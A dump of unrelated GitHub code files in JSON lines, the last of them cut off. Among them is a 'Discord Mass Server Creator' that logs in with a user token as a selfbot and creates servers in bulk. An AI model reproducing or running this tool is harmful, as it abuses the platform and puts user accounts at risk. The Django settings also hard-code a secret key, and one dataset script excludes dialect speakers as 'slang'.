PROJECT_ROOT_DIR,\n)\n\nDEFAULT_MIN_AGE = 10\nDEFAULT_MAX_AGE = 60\n\nMIN_NUM_WORDS = 2\n\nCORPORA_EXCLUDED = []\n\nCORPORA_INCLUDED = []\n\n# The caregivers of these children are using slang (e.g., \"you was\" or \"she don't\") and are therefore excluded\n# We are unfortunately only studying mainstream US English\nEXCLUDED_CHILDREN = [\"Brent_Jaylen\", \"Brent_Tyrese\", \"Brent_Vas\", \"Brent_Vas_Coleman\", \"Brent_Xavier\"]\n\nRESULTS_DIR = PROJECT_ROOT_DIR+\"/results/rl_data/\"\n\n\ndef parse_args():\n argparser = argparse.ArgumentParser()\n argparser.add_argument(\n \"--utterances-file\",\n type=str,\n default=MICRO_CONVERSATIONS_WITHOUT_NON_SPEECH_FILE,\n )\n argparser.add_argument(\n \"--min-age\",\n type=int,\n default=DEFAULT_MIN_AGE,\n )\n argparser.add_argument(\n \"--max-age\",\n type=int,\n default=DEFAULT_MAX_AGE,\n )\n\n args = argparser.parse_args()\n\n return args\n\n\nif __name__ == \"__main__\":\n args = parse_args()\n print(args)\n\n os.makedirs(RESULTS_DIR, exist_ok=True)\n\n conversations = pd.read_csv(args.utterances_file, index_col=0, dtype={\"error\": object, \"labels\": object})\n # Filter by age\n conversations = conversations[\n (args.min_age <= conversations.age) & (conversations.age <= args.max_age)\n ]\n\n print(\"Excluding children: \", EXCLUDED_CHILDREN)\n conversations = conversations[~conversations.child_name.isin(EXCLUDED_CHILDREN)]\n\n conversations = filter_corpora(conversations, CORPORA_INCLUDED, CORPORA_EXCLUDED)\n\n conversations.dropna(\n subset=(\n \"utt_is_grammatical\",\n \"utt_is_intelligible\",\n \"response_is_speech_related\",\n ),\n inplace=True,\n )\n conversations[\"utt_is_grammatical\"] = conversations.utt_is_grammatical.astype(bool)\n conversations[\"follow_up_is_grammatical\"] = conversations.follow_up_is_grammatical.astype(bool)\n\n conversations = conversations[conversations.utt_is_intelligible].copy()\n\n # Filtering out dummy responses (cases in which the child continues to talk)\n conversations = conversations[conversations.response_is_speech_related].copy()\n\n conversations = filter_utts_for_num_words(conversations, min_num_words=MIN_NUM_WORDS)\n\n annotate_crs_and_acks(conversations)\n\n print(\"Number of CRs: \", len(conversations[conversations.response_is_clarification_request]))\n print(\"Number of speech act CRs: \", len(conversations[conversations.response_is_clarification_request_speech_act]))\n print(\"Number of repetition CRs: \", len(conversations[conversations.response_is_repetition_clarification_request]))\n\n print(\"Number of Acks: \", len(conversations[conversations.response_is_acknowledgement]))\n print(\"Number of keyword Acks: \", len(conversations[conversations.response_is_keyword_acknowledgement]))\n print(\"Number of repetition Acks: \", len(conversations[conversations.response_is_repetition_acknowledgement]))\n\n conversations = conversations[[\"utt_transcript_clean\", \"response_is_clarification_request\", \"response_is_acknowledgement\"]]\n conversations.to_csv(RESULTS_DIR + \"conversations.csv\", index=False)\n\n","repo_name":"mitjanikolaus/childes-communicative-feedback","sub_path":"create_rl_dataset.py","file_name":"create_rl_dataset.py","file_ext":"py","file_size_in_byte":3453,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"28205043","text":"from PyQt5.QtCore import Qt\nfrom PyQt5.QtGui import QColor, QPainter, QPaintEvent, QPen\nfrom PyQt5.QtWidgets import QRubberBand, QWidget\n\n\nclass RubberBand(QRubberBand):\n \"\"\"Rubberband object that can be customized\n\n Args:\n parent (QWidget): Widget where the rubberband is shown\n shape (Shape, optional): Rubberband shape. Defaults to Rectangle.\n thickness (int, optional): Rubberband border thickness. Defaults to 2.\n borderColor (QColor, optional): Rubberband border color. Defaults to blue.\n fillColor (QColor, optional): Rubberband fill color. Defaults to QColor(0, 128, 255, 60).\n \"\"\"\n\n def __init__(\n self,\n parent: QWidget,\n shape: QRubberBand.Shape = QRubberBand.Rectangle,\n thickness=2,\n borderColor: QColor = Qt.blue,\n fillColor=QColor(0, 128, 255, 60),\n ):\n super().__init__(shape, parent)\n self.setBorder(borderColor, thickness)\n self.setFill(fillColor)\n\n def setBorder(self, color: QColor, thickness: int):\n self._borderColor = color\n self._borderThickness = thickness\n\n def setFill(self, color: QColor):\n self._fillColor = color\n\n def paintEvent(self, event: QPaintEvent):\n painter = QPainter()\n painter.begin(self)\n # Mask\n painter.fillRect(event.rect(), self._fillColor)\n # Border\n painter.setPen(QPen(self._borderColor, self._borderThickness))\n painter.drawRect(event.rect())\n painter.end()\n # return super().paintEvent(event)\n","repo_name":"blueaxis/Cloe","sub_path":"app/components/misc/rubberBand.py","file_name":"rubberBand.py","file_ext":"py","file_size_in_byte":1550,"program_lang":"python","lang":"en","doc_type":"code","stars":54,"dataset":"github-code","pt":"21"} +{"seq_id":"20347267996","text":"#请求模块(Request),接受请求(urlopen)\nfrom urllib.request import Request,urlopen\n#解析模块 urlencode\nfrom urllib.parse import urlencode\n\n#get请求转译方法2:(适合多个对象)\n\nargs = {\n \"wd\" : \"尚学堂\",\n \"ie\": \"utf-8\"\n}\nurl = \"https://www.baidu.com/s?{}\".format(urlencode(args)) #get请求方法,动态调用。\nprint(url)\nheaders = {\n\"User-Agent\" :\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36\"\n}\nrequest = Request(url,headers=headers)\nresponse = urlopen(request)\ninfo = response.read()\nprint(info.decode())","repo_name":"lianghanwu1999/Python","sub_path":"简单爬虫/urllib/04.get请求2.py","file_name":"04.get请求2.py","file_ext":"py","file_size_in_byte":612,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"1713506102","text":"import requests\nimport json\n\nfrom rec_sys.const import *\nfrom rec_sys.rec_req.common import *\n\n\ndef rec_sys_req(data):\n url = \"/\".join([BASE_URL, REC_REQUEST])\n\n print(\"req url\", url)\n\n r = requests.post(url=url, data=data, headers=FORM_URLENCODED)\n\n try:\n print(json.dumps(json.loads(r.content), indent=True))\n except:\n print(r.content)\n\n\nif __name__ == '__main__':\n rec_sys_req(COMMON_REQ_DATA)\n","repo_name":"yujun001/tensorflow_2.0_study","sub_path":"rec_sys/rec_req/local_req.py","file_name":"local_req.py","file_ext":"py","file_size_in_byte":429,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"26968259237","text":"from pymongo import MongoClient\nimport json\nimport tweepy\nfrom tweepy import Stream\nfrom tweepy.streaming import StreamListener\nfrom Key import *\nfrom GameCategory import *\n\nclass MyListener(StreamListener):\n\n def on_data(self, raw_data):\n try:\n '''here we will collect data and store thm in mongodb'''\n client = MongoClient('localhost', 27017)\n db = client.tsadb\n tweet = json.loads(raw_data)\n db.TSAtweets.insert(tweet)\n print('data inserted')\n return True\n except:\n print('exception occurred\\n\\n') # debug to test if on_data() working or not\n return True\n\n def on_error(self, status_code):\n return True\n\n\ndef main():\n auth = tweepy.OAuthHandler(consumer_key, consumer_secret)\n auth.set_access_token(access_token, access_token_secret)\n twitter_stream = Stream(auth, MyListener())\n # taking hashtag list from GameCategory.py\n twitter_stream.filter(track=all_hashtags)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"ahmadalsajid/TwitterSentimentAnalysisThesis","sub_path":"DataCollection.py","file_name":"DataCollection.py","file_ext":"py","file_size_in_byte":1056,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"32745736148","text":"\n#%%\n# Imports\nimport os\nimport json\n\nfrom datetime import datetime\n\nfrom elasticsearch_dsl import Search, Q\n\nfrom core.elastic import client\nfrom core.search.query_info import paper_info_db_check_multiquery\n\n#%%\n# Consts\nSCRIPT_CONFIG = 'script_config.json'\n\nSTART_VERSION = 0\nTHREADS = 1\nBATCH_SIZE = 10\n\n#%%\n# Try load config\ntry:\n config_path = os.path.join('scripts', SCRIPT_CONFIG)\n\n with open(config_path, 'r') as f:\n config = json.load(f)\n START_VERSION = config['update_version']\n THREADS = config['threads']\n BATCH_SIZE = config['batch_size']\n print(BATCH_SIZE)\nexcept FileExistsError:\n pass\n\n#%%\ncounter = 0\ncomplete_updated = 0\n\nprint('\\n[{}] - Start batch {}'.format(datetime.now(), counter))\npaper_ids_s = Search(index='papers', using=client)\npaper_ids_s = paper_ids_s.source(['PaperId'])\n# paper_ids_s = paper_ids_s.params(size=BATCH_SIZE)\n\nprint('[{}] -- Find papers to update'.format(datetime.now()))\nfor p in paper_ids_s.scan():\n paper_ids = [p.PaperId]\n print(paper_ids)\n # print(\"{}: from {} to {}\".format(len(paper_ids), paper_ids[0], paper_ids[-1]))\n\n if not paper_ids:\n break\n\n print('[{}] -- Generate cache entries'.format(datetime.now()))\n complete_res = paper_info_db_check_multiquery(paper_ids)\n\n print('[{}] - Finish batch {}\\n'.format(datetime.now(), counter))\n counter += 1\n complete_updated += len(complete_res)\n\n print('\\n[{}] - Complete: {}\\n'.format(\n datetime.now(), complete_updated))\n","repo_name":"csmetrics/influencemap","sub_path":"scripts/cache_paper_info.py","file_name":"cache_paper_info.py","file_ext":"py","file_size_in_byte":1509,"program_lang":"python","lang":"en","doc_type":"code","stars":21,"dataset":"github-code","pt":"21"} +{"seq_id":"14523751465","text":"# Stworzenie funkcji, która rekurencyjnie będzie sumować elementy listy:\n# Zakładam, że wszystkie elementy listy są typu liczbowego.\n#\n# funkcja list_sum(lista):\n# is lista empty?\n# yes -> 0\n# no -> lista[0] + funkcja[reszta listy]\n\ndef list_sum(lista):\n if len(lista) == 0:\n return 0\n else:\n el1 = lista.pop(0)\n return el1 + list_sum(lista)\n\n\nlista1 = [3, 2, 3, 4]\nprint(list_sum(lista1))\n\n\n# Stworzenie funkcji, która oblicza rekurencyjnie silnię z podanej liczby:\n# Zakładam, że do funkcji zostanie podana całkowita liczba nieujemna.\n#\n# funkcja silnia(liczba):\n# is liczba > 0 ?\n# no -> błąd\n# yes -> is liczba > 1?\n# no -> 1\n# yes -> liczba * silnia(liczba-1)\n\ndef silnia(liczba):\n if liczba > 1:\n return (liczba * silnia(liczba - 1))\n elif liczba < 0:\n return \"Błędna wartość wejściowa\"\n else:\n return 1\n\n\nprint(silnia(5))\n\n\n# Stworzenie funkcji, która zwraca podany element ciągu Fibonacciego:\n# Zakładam, że nie zostanie podana do funkcji liczba ujemna.\n#\n# funkcja fib(liczba):\n# is liczba > 2 ?\n# yes -> fib(liczba-1) + fib(liczba-2)\n# no -> is liczba = 0?\n# yes -> return 0\n# no -> return 1\n\ndef fib(liczba):\n if liczba > 2:\n return fib(liczba - 1) + fib(liczba - 2)\n elif liczba == 0:\n return 0\n else:\n return 1\n\n\nprint(fib(7))\n\n\n# Stworzenie funkcji, która znajdzie największy element z listy:\n# Zakładam, że wszystkie elementy listy są typu liczbowego.\n#\n# funkcja find_max(lista):\n# is lista empty?\n# yes -> return \"błąd\"\n# no -> does lenght of lista equal 1?\n# yes -> return lista[0]\n# no -> is lista[0] > lista[1]?\n# yes -> lista.pop(1) and find_max(lista)\n# no -> lista.pop(0) and find_max(lista)\n\ndef find_max(lista):\n if len(lista) == 0:\n return \"Lista jest pusta.\"\n elif len(lista) == 1:\n return lista[0]\n else:\n if lista[0] > lista[1]:\n lista.pop(1)\n return find_max(lista)\n else:\n lista.pop(0)\n return find_max(lista)\n\n\nlista2 = [120, 4, 6, 1]\nprint(find_max(lista2))\n","repo_name":"Szwalson/IO-example-project","sub_path":"solo-work/solo_recursive.py","file_name":"solo_recursive.py","file_ext":"py","file_size_in_byte":2232,"program_lang":"python","lang":"pl","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"36215497296","text":"import logging\n\nimport anndata # pytype: disable=import-error\nimport anndata as ad # pytype: disable=import-error\nimport pandas as pd # pytype: disable=import-error\nimport scanpy as sc # pytype: disable=import-error\n\nfrom cansig.preprocessing.annotation import AnnotationConfig # pytype: disable=import-error\n\n_LOGGER = logging.getLogger(__name__)\n\n\ndef split_anndata(input_adata: ad.AnnData, batch_key: str):\n batches = input_adata.obs[batch_key]\n adatas = [input_adata[batches == batch].copy() for batch in batches.unique()]\n return adatas\n\n\nclass DisableLogger:\n \"\"\"Context manager to disable logging for certain blocks of code.\"\"\"\n\n def __enter__(self):\n logging.disable(logging.CRITICAL)\n\n def __exit__(self, exit_type, exit_value, exit_traceback):\n logging.disable(logging.NOTSET)\n\n\nclass Normalized:\n \"\"\"Context manager to normalize .X.\"\"\"\n\n def __init__(self, adata: ad.AnnData, target_sum: float = 1e4):\n self.adata = adata\n self.target_sum = 1e4\n\n def __enter__(self):\n self.raw_counts = self.adata.X.copy()\n self.normalize_adata()\n\n def __exit__(self, exc_type, exc_val, exc_tb):\n self.adata.X = self.raw_counts\n # The data is no longer log1p transformed. Therefore, we remove the entry\n # in .uns.\n if \"log1p\" in self.adata.uns:\n del self.adata.uns[\"log1p\"]\n\n def normalize_adata(self):\n sc.pp.normalize_total(self.adata, target_sum=self.target_sum)\n sc.pp.log1p(self.adata)\n\n\ndef check_n_malignant_cells(obs: pd.DataFrame, min_malignant_cells: int, annotation_config: AnnotationConfig):\n malignant_status = annotation_config.cell_status.malignant\n n_malignant_cells = (obs[annotation_config.malignant_combined] == malignant_status).sum()\n\n if n_malignant_cells < min_malignant_cells:\n _LOGGER.info(f\"Sample only contains {n_malignant_cells} malignant cells and is skipped.\")\n return True\n else:\n return False\n\n\ndef make_indices_unique(adata: anndata.AnnData):\n if not adata.obs_names.is_unique:\n _LOGGER.warning(\"Making obs_names unique.\")\n adata.obs_names_make_unique()\n\n if not adata.var_names.is_unique:\n _LOGGER.warning(\"Making var_names unique.\")\n adata.var_names_make_unique()\n","repo_name":"BoevaLab/CanSig","sub_path":"src/cansig/preprocessing/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2296,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"21"} +{"seq_id":"22396372807","text":"# check if x is root of the splay tree\ndef isRoot(x):\n if x.parent == None or (x.parent.left != x and x.parent.right != x):\n return True\n else:\n return False\n \ndef Rotate(x):\n p = x.parent\n \n if x == p.left:\n p.left = x.right\n x.right = p\n if p.left != None:\n p.left.parent = p\n else:\n p.right = x.left\n x.left = p\n if p.right != None:\n p.right.parent = p\n \n x.parent = p.parent\n p.parent = x\n \n if x.parent != None:\n if p == x.parent.left:\n x.parent.left = x\n elif p == x.parent.right:\n x.parent.right = x\n\n# splay tree keeps frequentlly accessed nodes close to the top\ndef Splay(x):\n while isRoot(x) == False:\n p = x.parent\n if isRoot(p) == False:\n if (x == p.left) == (p == p.parent.left):\n Rotate(p)\n else:\n Rotate(x)\n Rotate(x)","repo_name":"yoojin-dbs/denforest","sub_path":"src/splaytree.py","file_name":"splaytree.py","file_ext":"py","file_size_in_byte":958,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"9967472680","text":"# uvozimo ustrezne podatke za povezavo\nfrom . import auth\n\n# uvozimo psycopg2\nimport psycopg2, psycopg2.extensions, psycopg2.extras\npsycopg2.extensions.register_type(psycopg2.extensions.UNICODE) # se znebimo problemov s šumniki\n\nimport csv\n\ndef ustvari_tabelo():\n cur.execute(\"\"\"\n CREATE TABLE tipi_sob\n (\n tip_sobe_id SERIAL PRIMARY KEY NOT NULL,\n tip_sobe_ime varchar(45) NOT NULL,\n tip_sobe_opis varchar(100),\n cena_sobe DECIMAL(10,2) NOT NULL,\n zivali INT, \n kadilci INT\n );\n \"\"\") \n conn.commit() #ko delam poizvedbe, da se potrdijo \n\ndef pobrisi_tabelo():\n cur.execute(\"\"\"\n DROP TABLE tipi_sob;\n \"\"\")\n conn.commit()\n\ndef uvozi_podatke():\n with open(\"Podatki/tipi_sob.csv\", encoding=\"UTF-8\") as f:\n rd = csv.reader(f)\n next(rd) # izpusti naslovno vrstico\n for r in rd:\n cur.execute(\"\"\"\n INSERT INTO tipi_sob\n (tip_sobe_id, tip_sobe_ime, tip_sobe_opis, cena_sobe, zivali, kadilci)\n VALUES (%s, %s, %s, %s, %s, %s)\n \"\"\", r)\n #rid, = cur.fetchone()\n #print(\"Uvožen naslov %s\" % (r[0], rid))\n conn.commit()\n\n\nconn = psycopg2.connect(database=auth.db, host=auth.host, user=auth.user, password=auth.password)\ncur = conn.cursor(cursor_factory=psycopg2.extras.DictCursor) ","repo_name":"UdirL18/Hotel_management-OPB-Projektna-Naloga","sub_path":"uvoz/tipi_sob.py","file_name":"tipi_sob.py","file_ext":"py","file_size_in_byte":1338,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"33182629890","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\nfrom _base import BaseConfiguration as Config\nfrom configurations.values import SecretValue\nfrom os.path import join\n\n\nclass Development(Config):\n\n\t# Base settings\n\tDEBUG = True\n\n\t# Security settings\n\tSECRET_KEY = '2!j5*n=5^u+tlrq^d5c52ww*$*c7qgdv&2d*kv$=37rvh%nio6'\n\n\t# Databases\n\tDATABASES = {\n\t\t'default': {\n\t\t\t'ENGINE': 'django.db.backends.mysql',\n\t\t\t'HOST': 'localhost',\n\t\t\t'NAME': SecretValue(environ_name = 'REL_NAME', environ_prefix = 'RHEA'),\n\t\t\t'USER': SecretValue(environ_name = 'REL_USER', environ_prefix = 'RHEA'),\n\t\t\t'PASSWORD': SecretValue(environ_name = 'REL_PASSWD', environ_prefix = 'RHEA')\n\t\t}\n\t}\n\n\t# Static files\n\tSTATIC_ROOT = join(Config.BASE_DIR, 'static')\n\n\t# Logging\n\tLOGGING = {\n\t\t'version': 1,\n\t\t'disable_existing_loggers': False,\n\t\t'handlers': {\n\t\t\t'file': { 'level': 'DEBUG', 'class': 'logging.FileHandler', 'filename': join(Config.BASE_DIR, 'development.log') }\n\t\t},\n\t\t'loggers': {\n\t\t\t'django': {\n\t\t\t\t'handlers': [ 'file' ],\n\t\t\t\t'level': 'DEBUG',\n\t\t\t\t'propagate': True\n\t\t\t}\n\t\t}\n\t}\n\n\t# Email\n\tEMAIL_BACKEND = 'django.core.mail.backends.filebased.EmailBackend'\n\tEMAIL_FILE_PATH = join(Config.BASE_DIR, 'emails')\nclass Testing(Config):\n\n\t# Base settings\n\tDEBUG = True\n\n\t# Security settings\n\tSECRET_KEY = '2!j5*n=5^u+tlrq^d5c52ww*$*c7qgdv&2d*kv$=37rvh%nio6'\n\n\t# Databases\n\tDATABASES = {\n\t\t'default': {\n\t\t\t'ENGINE': 'django.db.backends.sqlite3',\n\t\t\t'NAME': join(Config.BASE_DIR, 'db.sqlite3'),\n\t\t\t'TEST': { 'NAME': join(Config.BASE_DIR, 'test.sqlite3') }\n\t\t}\n\t}\n\n\t# Testing\n\tTEST_RUNNER = 'django.test.runner.DiscoverRunner'\n\n\t# Static files\n\tSTATIC_ROOT = join(Config.BASE_DIR, 'static')\n\n\t# Logging\n\tLOGGING = {\n\t\t'version': 1,\n\t\t'disable_existing_loggers': False,\n\t\t'handlers': {\n\t\t\t'file': { 'level': 'DEBUG', 'class': 'logging.FileHandler', 'filename': join(Config.BASE_DIR, 'testing.log') }\n\t\t},\n\t\t'loggers': {\n\t\t\t'django': {\n\t\t\t\t'handlers': [ 'file' ],\n\t\t\t\t'level': 'DEBUG',\n\t\t\t\t'propagate': True\n\t\t\t}\n\t\t}\n\t}\n\n\t# Email\n\tEMAIL_BACKEND = 'django.core.mail.backends.locmem.EmailBackend'\n","repo_name":"legua25/project-rhea","sub_path":"rhea/settings/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":2080,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"19746779381","text":"import torch\r\nimport torch.nn.functional as F\r\nimport numpy as np\r\n\r\n\r\ndef get_size(tensor):\r\n return(list(tensor.size()))\r\n\r\n##def skew_features(features):\r\n##\r\n## bs, channel, height, width = get_size(features)\r\n##\r\n## rows = torch.split(features, 1, 2)\r\n## skewed_rows = []\r\n##\r\n## skewed_width = width+height-1\r\n##\r\n## for i, row in enumerate(rows):\r\n## row = torch.reshape(torch.squeeze(row, dim=2), [-1, width])\r\n## row = F.pad(row, (i, width-i-1), \"constant\", 0)\r\n##\r\n## row = torch.reshape(row, [bs, channel, skewed_width])\r\n##\r\n## assert get_size(row) == [bs, channel, skewed_width], \"undesired skewed row shape\"\r\n## skewed_rows.append(row)\r\n##\r\n## skewed_features = torch.stack(skewed_rows)\r\n## assert get_size(skewed_features) == [bs, channel, height, skewed_width], \"undesired skewed features shape\"\r\n##\r\n## return skewed_features\r\n\r\n\r\n\r\ndef skew_features(features):\r\n\r\n bs, channel, height, width = get_size(features)\r\n \r\n rows = torch.split(features, 1, 2)\r\n skewed_rows = []\r\n\r\n skewed_width = width + height -1\r\n\r\n for i, row in enumerate(rows):\r\n \r\n row = F.pad(row, (i, height-i-1), \"constant\", 0)\r\n \r\n assert get_size(row) == [bs, channel, 1, skewed_width], \"undesired row size\"\r\n skewed_rows.append(row)\r\n\r\n skewed_features = torch.cat(skewed_rows, 2)\r\n assert get_size(skewed_features) == [bs, channel, height, skewed_width], \"undesired skewed feature size\"\r\n\r\n return skewed_features \r\n\r\n\r\n\r\ndef unskew_features(features, width = None):\r\n bs, channel, height, skewed_width = get_size(features)\r\n\r\n rows = torch.split(features, 1, 2)\r\n unskewed_rows = []\r\n\r\n unskewed_width = width if width else height\r\n\r\n for i, row in enumerate(rows):\r\n unskewed_rows.append(row[:, :, :, i:unskewed_width+i])\r\n\r\n unskewed_features = torch.cat(unskewed_rows, 2)\r\n assert get_size(unskewed_features) == [bs, channel, height, unskewed_width], \"undesired unskewed feature size\"\r\n \r\n return unskewed_features\r\n\r\n\r\ndef mask( filter_size, input_dim, output_dim, mask_type):\r\n\r\n if isinstance(filter_size, tuple):\r\n mask = np.ones((output_dim, input_dim, filter_size[0], filter_size[1]))\r\n center_h, center_w = filter_size[0]//2, filter_size[1]//2\r\n\r\n else:\r\n mask = np.ones((output_dim, input_dim, filter_size, filter_size))\r\n center_h, center_w = filter_size//2, filter_size//2\r\n filter_size = (filter_size, filter_size)\r\n \r\n\r\n if max(filter_size)>1:\r\n mask[:, :, center_h:, center_w+1:] = 0\r\n mask[:, :, center_h+1:, :] = 0\r\n\r\n num_channels = 1\r\n if mask_type == \"A\":\r\n for i in range(num_channels):\r\n for j in range(i+1):\r\n mask[j::num_channels, i::num_channels, center_h, center_w] = 0\r\n \r\n elif mask_type == \"B\":\r\n for i in range(num_channels):\r\n for j in range(i):\r\n mask[j::num_channels, i::num_channels, center_h, center_w] = 0 \r\n\r\n else:\r\n raise AttributeError(\"Masktype %s invalid\"%mask_type)\r\n\r\n mask = torch.from_numpy(mask)\r\n mask = mask.float()\r\n \r\n \r\n return mask\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n \r\n\r\n \r\n\r\n\r\n \r\n \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n \r\n\r\n \r\n \r\n \r\n \r\n \r\n","repo_name":"Suhruth9/Capstone","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":3363,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"73476662132","text":"prfx = [(0,0,0)]\nc,o,w = 0,0,0\nfor char in input():\n if char == 'C':\n c ^= 1\n elif char == 'O':\n o ^= 1\n elif char == 'W':\n w ^= 1\n prfx.append((c,o,w))\nout = ''\nfor i in range(int(input())):\n query = input().split()\n l,r = int(query[0]),int(query[1])\n left,right = prfx[l-1],prfx[r]\n final = [left[x]^right[x] for x in range(3)]\n k = final[1]+final[2]-final[0]\n if k==-1 or k==2:\n out += 'Y'\n else:\n out += 'N'\nprint(out)\n","repo_name":"nirur/USACOprep","sub_path":"USACO_2022_Open_Silver_3.py","file_name":"USACO_2022_Open_Silver_3.py","file_ext":"py","file_size_in_byte":491,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"43772438970","text":"error = False\ntry:\n import os\n os.system(\"title \" + \"Discord Mass Server Creator, Made By blob#0005, Github: github.com/blob0005\")\nexcept:\n pass\ntry:\n import colorama, requests, discord\nexcept:\n error = True\nif error == True:\n print(\"Missing Modules, Press Enter To Start Repair Process (May Not Always Work)\")\n input(\"\")\n try:\n import os\n os.system(\"pip install discord\")\n os.system(\"pip install colorama\")\n os.system(\"pip install requests\")\n print(\"Error May Be Fixed Now, Restart The Program\")\n input(\"\")\n exit()\n except:\n print(\"Failed To Fix\")\n input(\"\")\n exit()\ncolorama.init(autoreset=True)\ndef creator():\n while True:\n try:\n amount = input(\"Enter Amount Of Servers To Create: \")\n amount = int(amount)\n break\n except:\n print(\"Enter A Valid Choice\")\n invite_code = \"weYYXeUSNm\"\n while True:\n tokens = input(\"Enter Token: \")\n r1 = requests.get('https://discord.com/api/v6/auth/login', headers={\"Authorization\": tokens})\n if \"200\" not in str(r1):\n print(\"Invalid Token\")\n if \"200\" in str(r1):\n r = requests.get(f'https://discord.com/api/v6/invite/{invite_code}', headers={\"Authorization\": tokens})\n if \"200\" in str(r):\n break\n if \"403\" in str(r):\n print(\"Locked Token\")\n \n name = input(\"Enter What Server Name Should Be (Name Cant Only Be An Number): \")\n user = discord.Client()\n @user.event\n async def on_connect():\n done = 0\n for e in range(int(amount)):\n done = int(done) + 1\n try:\n await user.create_guild(name)\n print(colorama.Fore.GREEN + f\"[{str(done)}] Created Guild/Server\")\n except:\n print(colorama.Fore.RED + \"Max Servers Reached/Name Not Valid\")\n print(\"Done\")\n input(\"\")\n exit()\n user.run(tokens, bot=False)\n\n\ncreator()\n","repo_name":"vlxnehrs/Discord-Mass-Server-Creator","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2038,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"4978248983","text":"import functools\nfrom typing import Text, Tuple, Optional\n\nfrom flask import render_template, session, g\n\nfrom everyclass.common.flask import plugin_available\nfrom everyclass.rpc import RpcTimeout, RpcResourceNotFound, RpcBadRequest, RpcClientException, RpcServerNotAvailable, RpcServerException\nfrom everyclass.rpc.entity import StudentTimetableResult\nfrom everyclass.server import sentry, logger\nfrom everyclass.server.user import service as user_service\nfrom everyclass.server.user.exceptions import AlreadyRegisteredError, InvalidTokenError\nfrom everyclass.server.utils.config import get_config\nfrom everyclass.server.utils.web_consts import MSG_400, SESSION_CURRENT_USER, MSG_NOT_LOGGED_IN\n\n\ndef disallow_in_maintenance(func):\n \"\"\"\n a decorator for routes which should be unavailable in maintenance mode.\n \"\"\"\n\n @functools.wraps(func)\n def wrapped(*args, **kwargs):\n config = get_config()\n if config.MAINTENANCE:\n return render_template('maintenance.html')\n return func(*args, **kwargs)\n\n return wrapped\n\n\ndef url_semester_check(func):\n \"\"\"\n 捕获 URL 中异常的 semester 值\n \"\"\"\n\n @functools.wraps(func)\n def wrapped(*args, **kwargs):\n if len(kwargs[\"url_semester\"]) > 11:\n return render_template('common/error.html', message=MSG_400)\n return func(*args, **kwargs)\n\n return wrapped\n\n\ndef login_required(func):\n \"\"\"\n a decorator for routes which is only available for logged-in users.\n \"\"\"\n\n @functools.wraps(func)\n def wrapped(*args, **kwargs):\n if not session.get(SESSION_CURRENT_USER, None):\n return render_template('common/error.html', message=MSG_NOT_LOGGED_IN, action=\"login\")\n return func(*args, **kwargs)\n\n return wrapped\n\n\ndef _error_page(message: str, sentry_capture: bool = False, log: str = None):\n \"\"\"return a error page with a message. if sentry is available, tell user that they can report the problem.\"\"\"\n sentry_param = {}\n if sentry_capture and plugin_available(\"sentry\"):\n sentry.captureException()\n sentry_param.update({\"event_id\": g.sentry_event_id,\n \"public_dsn\": sentry.client.get_public_dsn('https')\n })\n if log:\n logger.info(log)\n return render_template('common/error.html', message=message, **sentry_param)\n\n\ndef handle_exception_with_error_page(e: Exception) -> Text:\n \"\"\"处理抛出的异常,返回错误页。\n \"\"\"\n from everyclass.server.utils.web_consts import MSG_TIMEOUT, MSG_404, MSG_400, MSG_INTERNAL_ERROR, MSG_503, MSG_ALREADY_REGISTERED, \\\n MSG_TOKEN_INVALID\n\n if isinstance(e, AlreadyRegisteredError):\n return _error_page(MSG_ALREADY_REGISTERED)\n if isinstance(e, InvalidTokenError):\n return _error_page(MSG_TOKEN_INVALID)\n\n if isinstance(e, RpcTimeout):\n return _error_page(MSG_TIMEOUT, sentry_capture=True)\n elif isinstance(e, RpcResourceNotFound):\n return _error_page(MSG_404, sentry_capture=True)\n elif isinstance(e, RpcBadRequest):\n return _error_page(MSG_400,\n log=\"Got bad request, upstream returned status code {} with message {}.\".format(*e.args),\n sentry_capture=True)\n elif isinstance(e, RpcClientException):\n return _error_page(MSG_400, sentry_capture=True)\n elif isinstance(e, RpcServerNotAvailable):\n return _error_page(MSG_503, sentry_capture=True)\n elif isinstance(e, RpcServerException):\n return _error_page(MSG_INTERNAL_ERROR, sentry_capture=True)\n else:\n return _error_page(MSG_INTERNAL_ERROR, sentry_capture=True)\n\n\ndef check_permission(student: StudentTimetableResult) -> Tuple[bool, Optional[str]]:\n \"\"\"\n 检查当前登录的用户是否有权限访问此学生\n\n :param student: 被访问的学生\n :return: 第一个返回值为布尔类型,True 标识可以访问,False 表示没有权限访问。第二个返回值为没有权限访问时需要返回的模板\n \"\"\"\n can, reason = user_service.has_access(student.student_id,\n session.get(SESSION_CURRENT_USER).identifier if session.get(SESSION_CURRENT_USER, None) else None)\n if reason == user_service.REASON_LOGIN_REQUIRED:\n return False, render_template('entity/studentBlocked.html',\n 